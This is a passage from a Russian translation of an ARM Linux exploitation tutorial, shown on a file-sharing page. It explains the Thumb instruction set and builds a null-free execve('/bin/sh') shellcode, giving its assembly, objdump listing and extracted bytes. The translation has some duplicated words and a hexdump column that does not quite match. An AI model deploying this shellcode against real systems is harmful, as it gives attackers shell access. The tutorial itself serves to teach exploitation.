Переведено для codeby. Net
Download 0.92 Mb. Pdf ko'rish
|
эксплуатация систем arm linux AFANX
- Bu sahifa navigatsiya:
- Алгоритм 6 Финальный код( внутри shell.s)
5.2.2 Набор инструкций Thumb
До сих пор мы всегда использовали стандартный набор инструкций ARM, но это не единственный набор инструкций, поддерживаемый этими процессорами. Существует набор инструкций, который позволяет генерировать более синтетический машинный код: набор инструкций Thumb(Более подробная информация о наборе инструкций Thumb в "ARM Architecture Reference Manual", стр. 496). 49 Набор инструкций Thumb является подмножеством набора инструкций ARM, при этом каждая инструкция каждая инструкция кодируется в 16 битах вместо 32 бит. Thumb был разработан для обеспечения лучшей плотности кода. Это именно то, что нам нужно: поскольку инструкции машинного кода инструкции короче, маловероятно, что сгенерированный код будет содержать нулевые байты. Чтобы запустить Thumb-код, находясь в режиме ARM, мы должны использовать инструкцию: bx +1 Поскольку инструкции Thumb всегда выровнены по полуслову, bx использует младший значащий бит адреса для понимания набора инструкций кода. Если этот бит установлен в 1, процессор будет интерпретировать код как инструкции Thumb. Теперь мы можем модифицировать shell.s, чтобы использовать некоторые инструкции thumb. Это окончательный ассемблерный код: Алгоритм 6 Финальный код( внутри shell.s) .global operation .type operation, %function operation: eor r1, r1 eor r2, r2 add r3, pc, #1 bx r3 .thumb thumbsnippet: mov r0, pc add r0, #4 mov r7, #11 swi #1 stringadr: .ascii "/bin/sh” .L3: .size operation, .-operation .align 2 .arm ... Директивы ассемблера, используемые для изменения набора инструкций, - это .thumb и .arm. Мы использовали их до и после фрагмента кода thumbsnippet. 50 Сначала проверим сгенерированный код objdump, после чего подробно проанализируем шеллкод, поскольку в нем есть различные интересные моменты… root@armstation# gcc shell.s -o shell2 root@armstation# objdump -d shell2 | grep " 00008364 8364: e0211001 eor r1, r1, r1 8368: e0222002 eor r2, r2, r2 836c: e28f3001 add r3, pc, #1 ; 0x1 8370: e12fff13 bx r3 00008374 8374: 4678 mov r0, pc 8376: 3004 adds r0, #4 8378: 270b movs r7, #11 837a: df01 svc 1 0000837c 837c: 622f str r7, [r5, #32] 837e: 6e69 ldr r1, [r5, #100] 8380: 732f strb r7, [r5, #12] 8382: 0068 lsls r0, r5, #1 root@armstation# Первые две инструкции шеллкодов не представляют собой ничего нового. Мы уже видели, что они используются для очистки регистров r1 и r2. Сразу после этого (0x836c) шеллкод готовится изменить набор инструкций набор инструкций. Сначала адрес программного счетчика (плюс один) сохраняется в r3 (пока неиспользуемый). С помощью инструкции bx r3 выполнение продолжается в режиме thumb режиме. В начале thumbsnippet адрес строки "/bin/sh" загружается косвенно в регистр r0, используя программный счетчик (как мы уже как мы решили ранее). Поскольку мы находимся в режиме thumb, мы использовали две отдельные инструкции, вместо одной инструкции загрузки (например , ldr r0, [pc, #4]). Для программного прерывания мы используем две инструкции (0x8376, 0x8378), так как мы находимся в режиме thub. Сначала мы загружаем в r7 номер системного вызова execve. Затем мы генерируем прерывание. 51 Последняя часть шеллкода, хотя objdump и пытался дизассемблировать ее, это просто строка "/bin/sh", завершающаяся нулевым байтом. Нам остается извлечь шеллкод, root@armstation# hexdump -C -s 0x0000364 -n 32 ./shell2 00000364 01 10 21 e0 02 20 22 e0 01 30 8f e2 13 ff 2f e1 |..!.. "..0..../.| 00000374 78 46 04 30 0b 27 01 df |xF.0.’../bin/sh.| 00000384 root@armstation# а затем протестировать его в "шаблонной" программе. Download 0.92 Mb. Do'stlaringiz bilan baham: |
Ma'lumotlar bazasi mualliflik huquqi bilan himoyalangan ©fayllar.org 2024
ma'muriyatiga murojaat qiling
ma'muriyatiga murojaat qiling